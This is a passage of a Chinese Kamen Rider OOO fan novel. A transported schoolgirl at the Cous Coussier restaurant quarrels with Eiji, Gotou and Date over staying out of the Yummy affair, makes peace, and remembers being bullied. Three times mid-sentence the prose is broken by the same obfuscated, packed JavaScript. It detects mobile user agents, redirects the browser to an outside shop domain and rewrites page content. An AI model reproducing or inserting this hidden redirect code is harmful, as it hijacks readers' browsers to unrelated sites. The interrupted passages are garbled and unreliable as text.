果然三蛋不养闲人,一个个都身怀绝技,各有发挥,哪怕只是饭店的小老板娘。 “呼——接下来是菜单!” 知世子擦擦脑门上的热汗,把清洁工具都堆进了杂物间,擦擦手便去了后厨。我望着她忙碌的样子,视线不经意地扫过墙壁,看到那上面又增添了许多色彩艳丽的相框。 这时我才想起一个细节:库斯库契照片墙上的多数收藏是知世子自己拍的。原本她也是一位专业级别的旅行家。 -- 怎么突然就感伤了起来。 我坐在靠窗的位置上,无聊地揪着桌上拿盆绿植的叶片。 尽管提前说过,为了庆祝我的出院,今晚要在库斯库契举办一场回归宴会,但因为Yummy的事还在收尾,并没有把时间真正确定下来。 这也是为什么只有我和知世子还在店里。 “燕儿,中国菜好不好?”知世子从后厨走出,手里拿着一本菜谱,“麻婆豆腐,宫保鸡丁……” “都是川菜会不会太辣了?”我说,“要不放点清淡的菜色,最近这么热,大家都没胃口不是吗?” “也对哦,而且你刚出院,最好吃点素的……”知世子在我对面坐下,刷啦啦地翻动菜谱,“番茄炒蛋怎么样?甜口的,大家一定很喜欢。” 日本人的中华料理是只有这几样吗?! 我怀疑那本菜谱上还有青椒肉丝回锅肉,干炒虾仁小笼包:“都可以,但我觉得做米粉肉也不错呢。” “米粉肉……吗?”知世子说。 我以为她是想了解这道菜的做法:“随便买点肉,放水放油,用米粉裹住,放到锅里面蒸就好了。”我假装自己是个厨师,“啪”地往灶台上堆蒸屉,“肉都烂在米粉里,很糯很好吃的。” 知世子专注地看我表演,突然抛出一个问题。 “这个‘粉蒸肉’,是不是和‘烧麦’一种类型?” “诶?”我愣住,完全想不到还有这么刁钻的角度。 这两就没有相似的地方啊?! “我知道了。” 不知道又知道了些什么,知世子站了起来,对着我甜甜一笑,转身回到后厨。 不一会儿,那里传来了起灶开火的声音。过不久又飘来一股甜丝丝的味道,像是泡在了蜜里。 -- 最后还是选择了中餐里的老几样,都是偏甜口的。 菠萝咕咾肉,西红柿炒鸡蛋,蛋黄焗南瓜,八宝菜…… 在我的那个时空,多了数年的交流,日本人吃的中餐还是这些。 对于习惯了咸口的我而言,这些菜都不好吃。但是难得看到家乡的菜色,我还是吃得开心。更何况陪我吃饭的一桌人都是我所爱的,这更是让我无比满足。 伊达叔带来了几瓶清酒。映司挨个给大家上酒,轮到我时突然停住。 “秋山是不是还没成年?” 在日本,喝酒是成年人的特权。 “嗯,十五岁。”我眼巴巴地看着那瓶清酒,“不过中国没有禁酒令,多少岁都能喝的!” “很遗憾,这里是日本。”说着移开酒瓶。 真遗憾,我本来还想试一试的…… 我认命地给自己倒上果汁,心想酒这种东西,就等回家了再尝吧。 -- 一顿饭吃得很是尽兴。 快要结束的时候,绘里香小姐推着载有鸿上显示屏的推车来了。 “哎呀绘里香!”知世子以为她是赶场来吃饭的,连忙站了起来,“你和信吾都说有事,所以也没留位置……真抱歉啊。” “没关系,本来也是临时过来,都没给您打声招呼。”绘里香边说边把推车撑开,麻利地通上信号。 “咔”的一声,鸿上的那张大脸立刻显现再屏幕上。 “恭喜秋山小姐出院!这也是新生的一种——Happy Birthday!” “……” 我们沉默着等待下文。 后藤第一个问:“所以会长就是来送祝福吗?”他抓抓头发,“这么简单,发条短信来不就好了,还麻烦了里中小姐。” 受不了了。他呆板而没有起伏的语调让我顿时笑了出来。 怎么有人用这种语气吐槽,冷幽默吗。 “当然不会是这么简单,后藤先生。”鸿上光生立刻端正神色,不搞怪的他看起来终于有了几分身为会长的威严。 “我还给各位带来几样礼物。”他点点头,“麻烦了,里中小姐。” “好的会长。”绘里香小姐也点了点头,关闭视讯,在推车上翻找起来。 -- 鸿上光生委托绘里香小姐,给我们一共带来了三样礼物。 第一样是仿制的核心硬币。 当看到绘里香小姐煞有介事地把装有人造核心硬币的收纳册打开时,一口水险些被我喷了出去。 还是登场了吗?Final的最上科技。 “这是……”映司也很意外,显然没想过自己还能有机会再见到这些。 “这是通过火野先生的情报,由鸿上研究所研制的的最新发明,人造核心硬币。”绘里香小姐介绍道,“因为是仿品,每一枚只能使用一次。但胜在数量多,而且威力和正品相差无几。” 不清楚有多少人仔细在听介绍,看见那一枚枚熟悉的核心硬币,在场的每个人都睁大了眼。 最先有了动作的,是映司。 他缓步上前,看着那套为了做出区分,特意包上银边的硬币,像害怕自己碰坏了一样,手悬在空中久久不敢落下。 我无端想起最上的话。 “就算是冒牌货你也舍不得下手吧?” 就算是仿制品也值得你珍重成这样……吗。 “真厉害呢。”映司还在犹豫,倒是知世子先凑上前来,抚摸着收纳盒的边缘,“这样的话,映司就又能变身成为TATOBA了,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510634|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧比奈?” “太好了,映司。”比奈由衷地说。 后藤也在为映司高兴:“Yummy越来越猖獗了,我们也需要映司力量。” “恭喜。”伊达叔最后说。 能再度穿上皮套,变身大拖把,我想映司心中一定百感交集,激动到不知道能说什么,也不知道能说什么了吧。 就像我第一次拿到联考第一那样。明明是件值得高兴的事 ,但在经验分享的时候我却哭了,泪水却控制不地往下掉。我想一定是我要说的话太丰富了,怕耽误所有人的时间,才会以这样的方式表达。 但映司是不会哭的。 他像一尊刚刚解封的石雕,慢慢地、慢慢地碰上正中间那枚火红色的硬币。 “谢谢。”他笑,“谢谢你们。” -- “好了,煽情的部分到这里就结束吧,这里还有两样。” 绘里香小姐拍了拍手,打断了渐进的情绪。 所有人的目光都聚拢在了绘里香小姐身上,除了我。 毕竟也实在没什么好看。 有了映司的人造核心硬币在前,剩下的要么是与Birth适配的新装备,要么是对Yummy特攻的新武器。到中期反派打不过了就派发升级道具,类似的桥段我已经品鉴得够多了。 代哥的阴谋,我懂。 “一样是白石知世子小姐的,一样是给泉比奈的……” 我就说……啊?知世子和比奈? 我疯狂锤着胸口,好险没呛进肺里——知世子和比奈?你确定说的是“chiyoko”和“hina”,而不是“gotou”和“date”?! 这又是闹的哪一出啊! 知世子也很意外:“欸?我?我和比奈?” 绘里香小姐再次表示肯定:“嗯,会长说这两件给你们才有意义。” “啊呀呀,这也太意外了……”知世子说是这么说,眼神却瞬间亮了起来,像在催促绘里香小姐别卖关子,快些把东西拿给她看。 餐桌上,我也饶有兴致地观察着那边的动向。居然是知世子和比奈,这种意料外的感觉实在让人着迷。 可惜今晚我是注定是看不成这出戏了。 “知世子和比奈,那就是没有我、后藤和秋山的事了?”伊达叔说,随后又问绘里香,“那我们失陪一下,可以吧?” “我反正没有意见。”绘里香平静地说。 “那行。”伊达叔说着抓起椅背上的外套,扭头冲我招了招手,“来吧秋山,我有事想跟你说。” “啊?”我眨了眨眼,一时没反应过来。 反而是映司拉住了他:“这种时候,不好吧?” 又是一句没头没尾的哑谜。 我最讨厌有事不说明白,支支吾吾的一点也不大方。尽管我知道这是他们用很多年换取来的默契,但我还是不爽,觉得自己被排挤在外了。 “不是你说最好早点解决的吗?”伊达叔说,“我觉得现在就是最好的时机,把话都说清楚。” 什么话啊? “也是。”映司不再坚持,看完我又看向另一边的后藤,“那我和后藤也去。” 到底什么事闹得这么神秘。 我茫然了,看向比奈她们。知世子对着我点了个头,那意思,应该是叫我乖乖地跟着他们,对吧? 那一瞬间,我忽然有了种诡异的感觉。好像小时候玩高空项目,坐在海盗船上荡来荡去,想到看过的事故纪录片,很怕自己被甩出去,摔在地上变成一滩肉泥。 原来他们早就商量好了。一切。 原来我一直坐在海盗船上,时刻担心着从某一刻起,自己就被甩了出去。 16. 世上没有永恒自由之物(3) 夜晚的城镇分外静寂。 还是那一条河。作为东映祖传拍摄场地,这片区域发生过太多故事,光是战兔就好在此几次自闭,追问成为“英雄”的意义。 这个时间,这个地点。真怕一切如我所猜想的那样。 我们沿着河堤行走,路上谁也没有说话,因而氛围是凝滞的,哪怕起风了也吹不散我心头感觉到的沉重。 伊达叔走得最快。到达某个平台,他转身眺望大河对岸,突然对着河水发问:“这里的风景很好看,对吧?” 来了来了,日剧的经典起手式,谈心前先谈天谈地谈风景。 “还好吧。”我装傻,“我觉得视野高一点会更好看些,这里就只能看到水了。” “啊……”伊达叔还在引导,“只能看到眼前的水吗?把视线放开阔些,水下面还有鱼,水面上还有灯光。这些都是可以看见的啊。” “可我是个很专注的人。”我故意说,“我只看得到水,看不到其他。” “你可以试着看看。” “我看不到。” 不得不说,伊达叔这种会对未成年人心软的个性,是真不适合使用这套话术。学校的老师就不会这么轻易就让我蒙混过去。我顶嘴了,她只会用更大的声音让我不要装傻,好好考虑她的建议。 这里能做到这么狠心的,就只有后藤一人。 “都到这了还是把话直接说开了吧。秋山又不笨,她根本就是在回避啊。”后藤一阵见血地指出了我的问题。太直白了,说得我好没面子。 映司出来打圆场:“别太凶了,后藤。她还是高校一年级的学生呢。” “她是脑子很好用的那种高校一年级生,不是特别单纯,说什么都会相信的高校一年级生。”后藤严肃更正映司的这一说法,在被阻止之前转过来通知我说,“我知道这请求会很奇怪,但我们其实希望,你不要再掺和Yummy的事儿了。” -- 我当即垮下脸。 “为什么?” 映司满脸写着完蛋。 大概是觉得后藤已经把话说得太过明白,很多事他也就没有了隐瞒下去的必要。 “实际上,我们一直在考虑这件事情。”他叹了口气,“你是不是一直想知道,上次出门,我到底都发现了什么。” “你又不会说的。”被卖了个关子,我转过脸看他,“不是说要先跟鸿上汇报,然后再跟我们说吗?” “在你住院的时候,我们就简单商量过了。”映司说,把手插进衣兜,从中拿出一块巴掌大的玩意儿。 “又瞒着我?!”我根本无心去看映司究竟掏出什么,只想找他们理论,“我可是把所有的事情都交代了!Yummy!王!硬币!” “是啊是啊。”伊达叔敷衍地点了点头,“所以我们才更加确信,应当减少你和Yummy的接触。” “为什么?!” 我大叫,完全进入了歇斯底里的状态。然而映司一把抓住了我的手腕,引我看向他的手心。 “别着急。”他的语速听上去远比我更着急,“看看这个,你明白的。” “你不说我怎么——”我忿忿地低头,一句“你不说我怎么明白”还没说出便卡在了嗓子里。 那是一块石板,或者说石板的某一部分。 通体灰黑,刻着简单的花纹,交错的圆和线条乍看和我手机里的思维导图是同一类别,实际上却根本不是这么一回事。 “卡巴拉生命树……” 我轻声说出它的名字。 -- OOO的设定太多太散,藏在四十八集的周播剧里,而没有一个清晰的总结。并且由于那些八百年的前尘往事和当下发生的故事关系不大,更少有人会去深挖其中细节,部分粉丝为了解释剧情什么概念都能往上面套,十周年评论的分化正是来自于此。 总有人辩白说一换一是预先设计好的结局,恐龙的灭绝换取鸟类诞生……我看来全是屁话。 首先那硬币就不完全与恐龙绑定,只是拿了恐龙这种人们熟知的生物作为灭亡与幻想生物一系的代表。不然怎么解释独角兽Yummy的存在。 其次,恐龙灭绝和鸟类的诞生无关。古代生物里恐龙和鸟属于同一时代,恐龙的没二觉可以说为鸟类空出了生态位,让鸟类得以繁荣,但说恐龙灭绝还鸟类诞生……不论是从浪漫的角度还是现实的角度我都无法理解。 最后,也是最重要的—— 我认为,OOO的底层设计并非生物的进化。 尽管鸿上有过类似“欲望是进化之源”的发言,但这里面的“进化”和物种的进化大概率不是同个意思,不然Greeed之间应该会有明显的等级差距,比如水生生物作为进化链的前端,无论如何也不能强于哺乳类的猫科系才对。 其实,OOO系统真正的原型其实很早就有官方解释。 卡巴拉生命树。 以十个原质和二十二条路径,象征宇宙结构及人类灵性提升的神话之树。因为足够抽象,足够神秘,后被被广泛采用于文娱作品,成为包括OOO在内不少传说故事的起点。 -- 不过,紫色的“灭亡与幻想生物”硬币并不存在于原本的卡巴拉生命树体系中。 或许正因如此,它被设计为具有凌驾于其他硬币的力量,可以直接粉碎核心硬币。 “你拿着看看。”映司说。 我有些困惑,但还是听从他的意思,伸手接过石板。 就在碰触到石板的瞬间,我忽然有一种诡异的感觉,仿佛自己化作了一汪水,正在向石板奔流而去。 石板底部的三个圆圈像是被激活了一样,莹莹地发着紫光。 “这是?”我睁大眼睛,不敢相信自己所见到的。 “果然。”后藤说。伊达叔从口袋里掏出包烟,想点燃,但可能顾虑到我的存在,又默默把打火机收了回去,把烟放在嘴里叼着。 映司盯着那块石板,一句话也没说。 这样的反应让我不安:“喂,这到底是怎么回事?” “这块石板,是八百年前王的遗物,可以检测硬币的力量……也是我上回旅行所带回来的。” 终于,映司给了我一个解释。 我立刻愣住了,大脑飞速运作起来:“所以,你是看到了的这上面红色亮了,Ankh就……” 我真的语无伦次了,有些难过地看向映司,发现他也正温柔地看着我,像是在鼓励我继续。 于是又有了勇气,磕磕巴巴地追问:“鸿上那个硬币就是通过这里抽取力量制作的……我发紫光……所以我有与之对应……灭亡与幻想生物的力量?” “完全正确。”伊达叔走了过来,从我手中抽走石板,“东西你还是少拿,感觉会伤到身体。剩下的就让后藤给你解释吧。” 他们显然没打好商量:“为什么?” “会长和你透露的比较多吧,具体的映司也不知情啊!”伊达叔说,“别在这里小气了,把话都说清楚!这不是你最擅长的吗!” “我什么时候擅长这个了?里中小姐才最……”后藤下意识地接口,但可能是因为我们三个都把期待的目光放在了他的身上,不好意思拒绝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510635|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是干咳一声试图掩饰自己的窘迫。 “算了,我来说吧。” -- “其实也没有什么,前几天映司把石碑拿到鸿上会长面前时,鸿上会长就猜出来了它的作用。‘王在八百年前的试验品居然被找到了,真是不可思议!’他这么说。” “后来翻了书才知道,八百年前王为了更好地掌握Greeed的行踪,请炼金术师刻了数块石碑,每块碑里都藏有Greeed的力量,一旦出现同源的力量就会与之共鸣,上面的指示物就会发光……反正大概是这个意思。其实看了就基本能猜出来,没什么稀奇的。” “稀奇的是它当时的状态。” “映司你说拿到的时候鸟的部分在发光,对吧?我记得你这么说了。然后其他的部分也开始发光,一直到恐龙……整块石板都点亮了。” “这时一束光从石板朝天空射出。‘咻’的一声,石板又暗下去了。” “过不久就接到电话,说库斯库契出现了个女孩。也就是秋山了。” “所以鸿上会长认为,秋山和这块石板肯定有所联系,而且肯定和最底下的恐龙有关。因为映司本来还有恐龙的核心硬币,对吧?但是映司却不能点亮恐龙的部分,说明那力量很可能不在他体内了。” “但是,核心硬币依旧存在。” -- “……综上所述,在一切都弄清楚之前,我们不希望你再参与进Yummy的事件里了。”最后用这句话作为收尾,绕了一圈又转回开头的那个目的。 我本来从惊异的状态中抽离出来,正在思考后藤的话,骤然听到不要我插手,情绪和胃病立即相伴着涌了上来。 “可是我做了很多!”我急忙说,“好多事情都是我说的……不管是Yummy的出现,还是,还是……” 我一时“还是”不出什么了。脑子里乱成一团,听见映司的声音。 “我们没有要否认你的贡献的意思,我们都很感谢你的付出。”他的语气很是温和,但此时我什么也听不进去,“但是秋山,Yummy是很危险的,我们不能把幸运当成一件常事……” “你是说我蛮干?!”我打断他,“在你们眼里,我就是一个摆件?我什么都不做就好,什么都不知道就好,哪怕有人遇险了也无动于衷就好,安安心心待在库斯库契就好?!” “我们没有……”映司还要解释,试图安抚我的情绪。 但我是真不想听。 “映司你不也是,为了抓住某人的手会拼尽全力的类型吗?为什么你可以我不可以,就因为你是主角你有使命,而我只是误打误撞闯进来的人吗?!”我越说越激动,胸口剧烈地起伏。 好痛。 “还是说你们一开始就不把我放在眼里?反正我也是要走的,所以做什么都是错的!” 这完全是无理取闹的范畴,但没办法,我控制不住自己的脾气。压抑、痛苦、怨恨……这些负面的东西在我身上积淀太久,真的好痛。 “等一下秋山,我觉得你现在需要冷静!”伊达叔说着去抓我的手腕。 他拉得很松,被我一下扯开:“我不需要!” 这场面想必很搞笑吧。 挣脱伊达叔,我站在江边的微风里面,街灯的光线从背后远远打来,逆光的位置让我看不清楚他们的神色。 眼前三个我曾经非常喜爱,如今却被我以敌视的眼光看待。 真叫人无话可说。 “别管我了,我也不要再管你们!” 抛下这句,我转身逃跑。不知道能去哪里,又回到库斯库契。 17. 世上没有永恒自由之物(4) 大厅的灯还亮着。 不知为何,在透过窗户,看见门内那道暖黄色的灯光的时候,我竟是产生了“要不算了”的念头,不敢再靠近一步。 这就是“近乡情怯”吗?脑海中突然冒出这样的一句话来。随后我就被这疯狂的念头吓到。 不应该吧,库斯库契和我又没有那么深的联系,只是暂住。有的人一年到头都住在宾馆,也不见对宾馆产生那个名为“故乡”的感情,没错的吧? 但是,也并非每个人都是这样。前两天我还看到推送,说某人认为某地是自己的“应许之地”,于是义无反顾地卖掉了全部身家前往,一呆就是几年甚至几十年,连故乡都不曾与他建立过这样深的联系。 会不会这就是我在店外踌躇的原因?太重要了,所以必须拿出足够的态度,一如网上流行的那句:爱是想碰触却又收回的手…… 想到这里,我望向库斯库契的那块招牌,浓重的颜色在瞬间让我从幻觉当中惊醒。 我刚刚都在脑补些什么啊! 于是很快移开视线,有种心虚的感觉。脸红得像被木炭烧过。 为了逃避,一个人居然可以找出那么多的借口,甚至扯上“爱”的定义……这样的我真是不可理喻。 于我而言,库斯库契绝不是类似“摆渡人的安全屋”那样重要的存在。 这地方每次被我选择,都并非出自喜爱或信任之类崇高的感情,而是我实在无路可走,怀着侥幸和狡猾的心理要来这碰碰运气。 -- 还记得许多天以前,我发现自己居然穿越了的情景。 因为连续三个礼拜无休止的补课,那天我很困,听着耳机里沫沫的吐槽,一开始情绪高涨的我竟渐渐睡着了。到站时还迷糊着,想也没想就走下地铁,直到看见站内的日文才像被泼了冷水一样突然惊醒,四处打听我这是到了哪里。 “不好意思,我不小心下错了站,请问这里能到马车道吗?” 我报了一个现实存在的地名。 “是游客吗?”站务员打量着我,“我们这里没有叫马车道的地方,你是不是记错了?” “是吗?可我的朋友说……”我拿着手机,装出失望的样子在上面点了一会儿,“真的不好意思,看样子我搞错了……我能问一下这地方叫什么吗?我再检索一下地图。” “是梦见町哦。”站务员说。 “梦见……?” “梦见町。”像是怕我听不明白,站务员放慢了语速,一字一音地说,“Yu-me-mi-toun,梦见町。” “梦见町……”我低声重复,仍觉得难以置信。 梦见町……那不就是OOO里的小镇吗?!也对哦,坐个车都中文变日文了,谁说不会有梦见町呢…… 我头晕晕的,感觉世界变得极不真实。这时站务员又说:“不是多么繁华的地方,但人文什么的还蛮有趣……对了,愿意的话你可以去一家叫''库斯库契''的料理店用餐。那家老板娘天天把店面变成不同的样子,新鲜刺激,价格也公道。像是白领啊,大学生啊,和你一样的年轻人都喜欢在那里聚会。” “还有这样的店呢?真是神奇,谢谢你告诉我。请问我该怎么去呢?” 我就是在这时肯定自己穿越了的。 -- 虽然《论语》里面提到“往者不可鉴,来者犹可追”,以此勉励人们多向前看。但不得不说,追忆往昔真是躲避现实的最佳途径,怪不得有那么多人在回忆里未老先衰。 到底该怎么办呢…… 如果可以,我其实最好是在外面待上一晚,好好消化自己的情绪。这样最保险也最安全,等太阳升起就去给映司他们道歉,相信以他们的大度肯定能原谅我,如此一切就都能复原,我也不用再担惊受怕,好像做什么都是错的一样。 但现实是,我在库斯库契的大门前,乱七八糟的东西想了一堆,却迟迟没有行动,一如莎士比亚笔下的王子。什么都想了,什么都不做,就这样纵容时间过去。 选择无非就两样:“推门而入”或者“转身离开”。 但我却犹犹豫豫,怎么也做不出决定。 现在要进去吧?我问自己。 不不,还是算了。我自己回答。 我自问自答,沉浸在自己的小世界里。直到耳朵敏锐抓住了一个熟悉的女声。 “燕儿啊,我在门口看你好久了,怎么就不进来呢?” 我被这一声吓得抬起头来抬头。 “啊,知世子小姐……”我全身顿时热了起来,心跳越来越快。 知世子小姐怎么会在那里?她什么时候出来的?不会看到我在门口转圈圈吧? 救命,这也太丢脸了…… “还不进来吗?”她又问。 “啊,来了!” 我应声跟了上去。 -- 比奈和绘里香小姐都回去了,库斯库契的装饰也已经撤下,看样子是好好收拾过了。 “燕儿你先坐一会儿吧,我还有一些活没干完,或者你更想要上楼休息?” 知世子说着又拿起了墙角的扫把,认真地清扫起来。看着她忙碌的样子,我心想,现在绝对不是打扰她的时机。 “知世子小姐……”但我心潮腾涌,有些话无论如何也想要说,“我可以问你个问题吗?” “嗯?”知世子直起腰来,转身看着我说,“下次这种事不用问哦,直接说就好了。” “谢谢您,知世子小姐。” 我低头,不安地绞着手指。 “知世子小姐是不是也早就知道……映司他们不希望我插手Yummy的事呢?” 没有回应。 前人们说得没错,有时候沉默也是回答。我叹了口气,心想果然如此。 他们早就计划好了,只有我一无所知。 -- 知世子扫完地,把工具往墙角一堆,拉了把椅子在我身侧坐下。 “我早就猜到你想问什么了。” “对不起。” 我小声说,把头垂得更低。 知世子却笑了:“不用跟我道歉的哦,燕儿。毕竟你再聪明也还是个小孩,不会理解我们这些大人能有多么的独断专行。”她想了想,“不过我也劝过他们不要这样,毕竟你和我还是不一样的。” “不一样?” “燕儿你应该知道,当年我是很晚才得知Greeed啊,Yummy啊……那些事情。”知世子歪着脑袋,像抱怨,又好像只是在回忆往昔,“还是比奈告诉我的,回想起来真的很惊讶呢。这几个孩子在我不知道的地方,居然做着如此危险的事,真叫人不爽呢。” 她说的是到第四十七集大结局前夕,知世子才从崩溃的比奈口中得知Ankh的真实身份,以及包括泉信吾、泉比奈、火野映司以及Ankh在内四人纠葛的事。 “那也没有办法,因为映司他们肯定不希望知世子小姐陷入危险!”我脱口而出,连头也抬了起来,在看到知世子笑颜的瞬间反应过来,结结巴巴地说,“啊,我也不是不是要给他们开脱,我是觉得,觉得……” “我懂我懂。”知世子点头道,“所以,燕儿是可以理解的,对吧?” “诶?” “我的心情和映司的心情。被瞒到最后的心情和不得不守口如瓶的心情。” 确实……我可是看完了全部OOO的人,真情实意地爱着这个故事,所以对于映司他们的所为,为什么要在背后做这么多事,我其实是再清楚不过的了。 “我知道他们是为了我好,但是……我也还是会难过。”我又把头低了下去,攥着衣角忐忑道,“我不希望被排除在外。我认为我是有能力……帮上忙的。” 终于说出来了。 那一刻,我的心境突然开阔不少。连呼吸也变得顺畅,像是移开了一块巨石。 知世子没再说话。我听见她离开的脚步,“咔哒”一声,一碟东西被她放到桌上。 “给。” 我转过头,看到桌面上摆着一个小碗,碗里装着黄油样的东西。 “这是什么?”我问。 “之前宴会上没有来得及拿出来的,知世子特制海燕柠檬薄荷黑胡椒冰淇淋。”知世子帮我把椅子也转了过去,“不过是2.0的版本,吃吃看吧。” “海燕柠檬薄荷冰淇淋……” 上次的味道太过深刻,以至于我对这玩意儿仍有阴影,只敢往边角扣下一点,摒住呼吸往嘴巴里送。 “好吃!”我被惊艳到了,又挖了一大勺,“比上次要甜好多,味道也没有打架了……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510636|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对吧?不过我一直都没有给它起名字呢,先放着。”知世子说着抓住我的肩膀,把下巴也放了上来,如此亲密的动作还是第一次有人对着我做,因为不适应还反射性地抖了一下。 “其实燕儿啊,你不觉得吗,你现在的困扰和这个冰淇淋一模一样。” “什么?”好奇特的形容,像把谎言比作塑料。 “你之前说过吧?原版的海盐柠檬薄荷黑胡椒冰淇淋的口味太冲,每种料都有自己的味道,吃下去就像打架一样。”知世子说,抬手戳了戳我的脑门,“你现在的小脑袋里,也有很多想法在打架,对吧?” “因为我觉得自己什么都做不到……” “或者正好相反,之所以有如此多的想法在打架,恰恰的因为你能做到的实在太多?”知世子抢过我的话头,顺着往下说道,“脑子空空或者能力不足的人反而没有这样的烦恼,因为他们都选择太少,只能闷头往一条路上冲刺。” 真的是这样吗……我的无力不是因为我太无能,而是恰恰相反,因为我能做到的事情太多,我拥有的选择也太多,所以才会纠结,不知道该往哪个方向努力,最后造成了这样一个疲软的结果? 我沉默了。心中的天平开始向知世子倾斜。 这时知世子又说。 “所以,不要为这种事情难过。好好想想自己最重要的是什么,然后主动一些,想到什么就说出来,想要什么就去争取,这样大部分问题就都能得到解决,而少数不能解决的,主动权也会掌握到自己手里,对吧?” -- 洗完澡回到房间,本来不准备早睡的,谁曾想因为知世子的那番话,不知不觉就沉入梦乡。 醒来已经不记得昨晚都梦见了什么。只有一股淡淡的情绪还在心头萦绕,如同这清晨的日光。 我起了个大早,守在走廊等着映司出来。 “对不起。”我鞠躬道歉,“昨天是我太激动了,我不该在知道你们没有恶意的情况下故意误解你们,实在是不识好歹,请原谅我。” “没有没有,是我们太过分了。”映司也才刚醒,大概没料到我会当面道歉,连忙抬起我说,“当时你一定很害怕?我们三个男人在你面前,万一出事,你连求救都做不到。是我们考虑不周,要向你道歉才是。” “不不,你们都是为了我好,是我神经过敏。”我再次鞠躬,“对不起。” 像我这样固执的人,如果执意道歉,在听到对方的“没关系”之前肯定不会罢休。这是我所坚持的礼数,就连神明也没办法劝阻。 映司显然也是这么想的。 “既然这样,和好吗?”他笑了笑。 “好。”我把腰直了起来,这事就算过去,“……不过我还有话想说。” “关于硬币的事?”映司一语中的。 这是我始料未及的状况。我猛地抬头瞪向映司。 “你知道?!”我失控地大叫,“你知道那硬币……” 映司伸出手指,比了个“嘘”的动作。 “别声张,我没有和他们说哦。” “为什么?!”我更不理解了,“你知道,但你不告诉他们?明明也和你们正在追踪的案子有关,说出去不是更好吗?” “按道理来是这样。”映司的语气还挺悠哉,“但是我认为这件事就算解释了也不会影响我们追踪的进度,只是让事情变得更复杂。” 让事情复杂并不会是昧下情报的决定性想法,这点我再清楚不过:“还有呢?” “还有我觉得,鸿上会长那边,包括伊达和后藤,似乎每个人都对彼此有所隐瞒。”见我一脸痴呆,他笑了笑,“嘛,也有可能像你说的,我也有点神经过敏。但我们很了解彼此,大致能感觉得到。” “这样吗……”我陷入思索。 原来他们也并不如我想象的那样团结?还是说各有目的,各自为营,这种不用言说的默契就是他们的团结? “真的好吗……”我喃喃道。一个念头忽然冒了出来。 “干脆我们直接去找鸿上会长,再像昨晚一样开诚布公,把一切都交底干净,好不好?” “啊?”映司愣住,想不到我会提出这样一个建议。 “去吧!”我点点头,越想越觉得就该这样,“叫上伊达叔和后藤,我们这就去基金会!” 18. 不后悔的生活(1) 我叫秋山燕。 “欸?混血儿吗?” 记忆里,别人总这么说。 “不是哦,我的爸爸妈妈都是中国人。我也是。” 实在这个名字太像日本人了,我不得不给每一个人解释,其实中国一直都有“秋山”这个姓氏。至于“燕”呢,则因为我是女生,我爸认为女生的名要美而不俗,所以用了“燕”这个单字。 如果是男生的话,我应该会被取名叫“秋山鹤”或者“秋山雕”吧,都不好听。所以我庆幸自己是个女生,这样名字还顺口一点。 因为这个名字,小学时那些不喜欢我的同学会管我叫“鬼子”。当他们看我不爽了,就会故意从我身边成群走过,故意用很大的声音说“鬼子怎么样”、“鬼子怎么样”。 “喂,至少背着点我吧?” “啊?” “我都听到了。” “你听到了什么?我们说的是鬼子啊——你是日本鬼子吗?” 如果我表示抗议,他们就会这样说。完全是装傻。 后来我找来老师,这些同学也被请了家长,终于消停了一阵子。也是从这时候,我发现自己的听觉真的太强,他们躲着说的悄悄话居然都能被我听见。 “那个鬼子……她真的好烦,这么点破事还揪着不放,搞得我爹还揍我一顿,烦死了。” “不然怎么叫鬼子啊?” “鬼子家不还蛮有背景的,不然妖婆哪里是那个态度。上次那事不是管都不管。” “那惨啰,以后被鬼子盯上啰。” “怕啥,爷就是打鬼子的!” 好生气,但是又没办法阻止。 嘴毕竟长在别人身上。就算我让老师再找他们一次,两次,十次……也只会是重复这样的情况,无法终止。 好烦。 我自认是很坚强的那种女生,但一想到那群家伙,还是会忍不住恶心,恨不能当场变成聋子,这样就听不到那些话了。 -- 当他们知道了我的特殊能力以后,就像是找到了一件新颖的玩具。 “鬼子来了。” “鬼子。” “嘘——鬼子听力好着呢!” 我是初中才知道“校园霸凌”这个概念。其实当时我也并没有被孤立。我有能说得上话的人,他会安慰我,叫我不要管那群人。 “那都是没前途的,你成绩好,怕他们干什么?” 他这样说,仿佛成绩是阿拉丁故事里的神灯,只要拥有,什么愿望就都能实现。 因为他的存在,我的生活其实没有那么苦涩。但他也有别的朋友,不可能时刻都和我在一起。 大部分时候,我都是一个人在座位上,拿着从家里带来的书,假装自己在读,实际上一个字也没看进去。 耳边是那群人的声音。 “鬼子又在看什么啊?” “不知道……《苏菲的世界》?没看过。” “鬼子总是假装自己好牛掰的,就会装。” 我再也忍不下去,扭头往窗户的方向瞪了一眼。 平时,他们就是坐在窗边的桌上,你一言我一语地说这些话。 